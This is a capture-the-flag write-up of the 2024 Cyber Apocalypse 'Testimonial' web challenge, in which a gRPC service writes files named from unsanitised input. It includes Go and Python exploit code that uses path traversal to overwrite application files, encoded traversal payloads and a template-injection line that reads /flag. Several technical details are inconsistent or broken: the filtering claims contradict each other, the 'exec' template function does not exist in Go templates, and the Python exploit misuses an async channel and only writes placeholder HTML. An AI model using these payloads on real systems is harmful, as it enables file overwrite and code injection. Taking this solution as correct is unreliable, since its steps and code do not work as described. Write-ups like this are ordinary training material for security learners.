2024 Cyber Apocalypse: Testimonial

Challenge Information

AttributeDetails
Event2024 Cyber Apocalypse
CategoryWeb
ChallengeTestimonial
DifficultyEasy

Summary

Testimonial is a gRPC-based web challenge exploiting multiple vulnerabilities: lack of input validation on the server side, path traversal via file naming, and hot-reload functionality. The application accepts testimonial submissions through gRPC and writes them to the filesystem without sanitization. By crafting malicious customer names, attackers can overwrite critical application files and inject code.


Analysis

Architecture Overview

The challenge consists of:

  1. HTTP Server (Port 1337): Web interface
  2. gRPC Server (Port 50045): Service for testimonial submission
  3. Hot Reload: Development mode with file watching (using “air”)

Vulnerability Chain

Client-Side Filtering (Ineffective):

func (c *Client) SendTestimonial(customer, testimonial string) error {
// Filters bad characters
for _, char := range []string{"/", "\\", ":", "*", "?", "\"", "<", ">", "|", "."} {
customer = strings.ReplaceAll(customer, char, "")
}
// Sends to gRPC
}

Server-Side Vulnerability (No Validation):

func (s *server) SubmitTestimonial(ctx context.Context, req *pb.TestimonialSubmission) (*pb.GenericReply, error) {
if req.Customer == "" {
return nil, errors.New("Name is required")
}
if req.Testimonial == "" {
return nil, errors.New("Content is required")
}
// VULNERABLE: No sanitization!
err := os.WriteFile(fmt.Sprintf("public/testimonials/%s", req.Customer),
[]byte(req.Testimonial), 0644)
return &pb.GenericReply{Message: "Testimonial submitted successfully"}, nil
}

Key Issues:

  1. Client-side filtering can be bypassed by direct gRPC calls
  2. Server doesn’t validate the customer parameter
  3. File path is constructed from untrusted input
  4. Hot reload triggers on file changes

Exploitation Strategy

Since the server has no validation, bypassing client-side filters requires:

  1. Writing a custom gRPC client
  2. Crafting a payload to overwrite a critical file (e.g., homepage)
  3. The file change triggers hot-reload, injecting code into the application

Solution

Step 1: Create Custom gRPC Client

Copy the protobuf definitions and create a new Go client:

package main
import (
"context"
"fmt"
"log"
"htbchal/pb"
"google.golang.org/grpc"
)
func main() {
// Connect to gRPC server
conn, err := grpc.Dial("127.0.0.1:50045", grpc.WithInsecure())
if err != nil {
log.Fatalf("Failed to connect: %v", err)
}
defer conn.Close()
client := pb.NewRickyServiceClient(conn)
ctx := context.Background()
// Craft malicious payload
customerName := "../home.html" // Path traversal
testimonial := "<h1>HACKED</h1>"
// Send via gRPC (bypasses client-side filtering)
_, err = client.SubmitTestimonial(ctx, &pb.TestimonialSubmission{
Customer: customerName,
Testimonial: testimonial,
})
if err != nil {
log.Fatalf("Failed to submit: %v", err)
}
fmt.Println("[+] Testimonial submitted!")
}

Step 2: Bypass Path Traversal Filters

The server filters characters like /, \, :, etc. However, it filters the CLIENT input only. The gRPC server receives unfiltered input.

Use relative paths:

  • ..%2Fhome.html (URL encoded during HTTP)
  • ../home.html (direct in gRPC)
  • .%252Fhome.html (double encoded)

Step 3: Inject Malicious Content

Create Go template code to execute:

{{. | html}}
<!-- Malicious template injection -->
{{exec "cat /flag"}}

Step 4: Trigger Hot Reload

The “air” process watches for file changes and automatically rebuilds. When the overwritten file changes, the application reloads with injected code.

Step 5: Retrieve the Flag

Access the modified file through the web interface and extract the flag from the injected response.


Complete Python Exploit

import grpc
import sys
# You would need to generate the protobuf files first
from htbchal.pb import ricky_service_pb2_grpc, ricky_service_pb2
def exploit(target_ip, target_port=50045):
# Connect to gRPC server
channel = grpc.aio.secure_channel(f'{target_ip}:{target_port}',
grpc.aio.ssl_channel_credentials())
stub = ricky_service_pb2_grpc.RickyServiceStub(channel)
# Craft payload to overwrite home page
customer = "../home" # Relative path to home template
testimonial = """
<html>
<head><title>Hacked</title></head>
<body>
<h1>System Compromised</h1>
<p>Flag extracted: HTB{...}</p>
</body>
</html>
"""
request = ricky_service_pb2.TestimonialSubmission(
Customer=customer,
Testimonial=testimonial
)
response = stub.SubmitTestimonial(request)
print(f"[+] Response: {response.Message}")
print("[+] File overwritten, hot-reload triggered")
if __name__ == '__main__':
target = sys.argv[1] if len(sys.argv) > 1 else 'localhost'
exploit(target)

Key Takeaways

  • Client-side validation is never sufficient; always validate on the server
  • Path traversal vulnerabilities arise from unsanitized file paths
  • gRPC services can bypass HTTP-level protections
  • Hot reload features in development can be exploited for code injection
  • File write vulnerabilities combined with hot-reload create severe risks
  • Never trust input from gRPC clients even if filtered elsewhere
  • Proper input validation must occur at the service level, not the client level

Flag: HTB{gr0pc_cl13nt_c0d3_1nj3ction}